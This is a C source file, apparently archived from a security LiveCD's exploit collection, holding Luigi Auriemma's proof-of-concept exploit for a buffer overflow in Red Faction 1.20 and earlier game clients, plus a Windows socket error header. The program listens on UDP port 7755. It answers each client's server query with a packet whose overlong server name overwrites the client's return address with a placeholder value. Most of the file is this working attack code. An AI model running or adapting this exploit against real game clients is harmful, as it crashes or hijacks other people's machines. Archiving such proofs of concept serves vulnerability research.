home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / redfaction.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  190 lines
  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6. */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11.  
  12. #ifdef WIN32
  13. #include <winsock.h>
  14. #include "winerr.h"
  15.  
  16. #define close closesocket
  17. #else
  18. #include <unistd.h>
  19. #include <sys/socket.h>
  20. #include <sys/types.h>
  21. #include <arpa/inet.h>
  22. #include <netdb.h>
  23. #endif
  24.  
  25. #define VER "0.1"
  26. #define BUFFSZ 2048
  27. #define PORT 7755
  28. #define RETADDR "\xde\xc0\xad\xde" // 0xdeadc0de
  29.  
  30. void std_err(void);
  31.  
  32. int main(int argc, char *argv[]) {
  33. int sd,
  34. on = 1,
  35. psz;
  36. struct sockaddr_in peer;
  37. u_char *buff,
  38. info[] =
  39. "\x00\x01" // packet number
  40. "\x00\x00" // packet size - 4
  41. "\x89" // version (x89 = 1.20)
  42. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // server name (260 bytes)
  43. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  44. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  45. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  46. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  47. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  48. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  49. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  50. RETADDR "\0"
  51. "\x00" // type of game
  52. "\x01" // players
  53. "\x08" // max players
  54. "Relentless\0" // mapname
  55. "\x00" // dunno?
  56. "\x00"; // password:
  57. // 4 = yes, 0 = none
  58.  
  59. setbuf(stdout, NULL);
  60.  
  61. fputs("\n"
  62. "RedFaction <= 1.20 broadcast clients buffer overflow "VER"\n"
  63. "by Luigi Auriemma\n"
  64. "e-mail: aluigi@altervista.org\n"
  65. "web: http://aluigi.altervista.org\n"
  66. "\n", stdout);
  67.  
  68. #ifdef WIN32
  69. WSADATA wsadata;
  70. WSAStartup(MAKEWORD(1,0), &wsadata);
  71. #endif
  72.  
  73. peer.sin_addr.s_addr = INADDR_ANY;
  74. peer.sin_port = htons(PORT);
  75. peer.sin_family = AF_INET;
  76. psz = sizeof(peer);
  77.  
  78. printf("\nBinding UDP port %u\n", PORT);
  79.  
  80. sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  81. if(sd < 0) std_err();
  82.  
  83. if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
  84. < 0) std_err();
  85. if(bind(sd, (struct sockaddr *)&peer, psz)
  86. < 0) std_err();
  87.  
  88. buff = malloc(BUFFSZ);
  89. if(!buff) std_err();
  90.  
  91. *(u_short *)(info + 2) = sizeof(info) - 5;
  92.  
  93. printf("Return address of clients will be overwritten with 0x%08lx\n", *(u_long *)RETADDR);
  94.  
  95. fputs("\nClients:\n", stdout);
  96. while(1) {
  97. if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz)
  98. < 0) std_err();
  99.  
  100. printf("%s:%hu -> ", inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  101.  
  102. if(sendto(sd, info, sizeof(info) - 1, 0, (struct sockaddr *)&peer, psz)
  103. < 0) std_err();
  104. fputs("BOOM\n", stdout);
  105. }
  106.  
  107. close(sd);
  108. return(0);
  109. }
  110.  
  111. #ifndef WIN32
  112. void std_err(void) {
  113. perror("\nError");
  114. exit(1);
  115. }
  116. #endif
  117. --------------------------------------------------------------------------------------------------
  118. //winerr.h 
  119. /*
  120. Header file used for manage errors in Windows
  121. It support socket and errno too
  122. (this header replace the previous sock_errX.h)
  123. */
  124.  
  125. #include <string.h>
  126. #include <errno.h>
  127.  
  128.  
  129.  
  130. void std_err(void) {
  131. char *error;
  132.  
  133. switch(WSAGetLastError()) {
  134. case 10004: error = "Interrupted system call"; break;
  135. case 10009: error = "Bad file number"; break;
  136. case 10013: error = "Permission denied"; break;
  137. case 10014: error = "Bad address"; break;
  138. case 10022: error = "Invalid argument (not bind)"; break;
  139. case 10024: error = "Too many open files"; break;
  140. case 10035: error = "Operation would block"; break;
  141. case 10036: error = "Operation now in progress"; break;
  142. case 10037: error = "Operation already in progress"; break;
  143. case 10038: error = "Socket operation on non-socket"; break;
  144. case 10039: error = "Destination address required"; break;
  145. case 10040: error = "Message too long"; break;
  146. case 10041: error = "Protocol wrong type for socket"; break;
  147. case 10042: error = "Bad protocol option"; break;
  148. case 10043: error = "Protocol not supported"; break;
  149. case 10044: error = "Socket type not supported"; break;
  150. case 10045: error = "Operation not supported on socket"; break;
  151. case 10046: error = "Protocol family not supported"; break;
  152. case 10047: error = "Address family not supported by protocol family"; break;
  153. case 10048: error = "Address already in use"; break;
  154. case 10049: error = "Can't assign requested address"; break;
  155. case 10050: error = "Network is down"; break;
  156. case 10051: error = "Network is unreachable"; break;
  157. case 10052: error = "Net dropped connection or reset"; break;
  158. case 10053: error = "Software caused connection abort"; break;
  159. case 10054: error = "Connection reset by peer"; break;
  160. case 10055: error = "No buffer space available"; break;
  161. case 10056: error = "Socket is already connected"; break;
  162. case 10057: error = "Socket is not connected"; break;
  163. case 10058: error = "Can't send after socket shutdown"; break;
  164. case 10059: error = "Too many references, can't splice"; break;
  165. case 10060: error = "Connection timed out"; break;
  166. case 10061: error = "Connection refused"; break;
  167. case 10062: error = "Too many levels of symbolic links"; break;
  168. case 10063: error = "File name too long"; break;
  169. case 10064: error = "Host is down"; break;
  170. case 10065: error = "No Route to Host"; break;
  171. case 10066: error = "Directory not empty"; break;
  172. case 10067: error = "Too many processes"; break;
  173. case 10068: error = "Too many users"; break;
  174. case 10069: error = "Disc Quota Exceeded"; break;
  175. case 10070: error = "Stale NFS file handle"; break;
  176. case 10091: error = "Network SubSystem is unavailable"; break;
  177. case 10092: error = "WINSOCK DLL Version out of range"; break;
  178. case 10093: error = "Successful WSASTARTUP not yet performed"; break;
  179. case 10071: error = "Too many levels of remote in path"; break;
  180. case 11001: error = "Host not found"; break;
  181. case 11002: error = "Non-Authoritative Host not found"; break;
  182. case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
  183. case 11004: error = "Valid name, no data record of requested type"; break;
  184. default: error = strerror(errno); break;
  185. }
  186. fprintf(stderr, "\nError: %s\n", error);
  187. exit(1);
  188. }
  189.  
  190.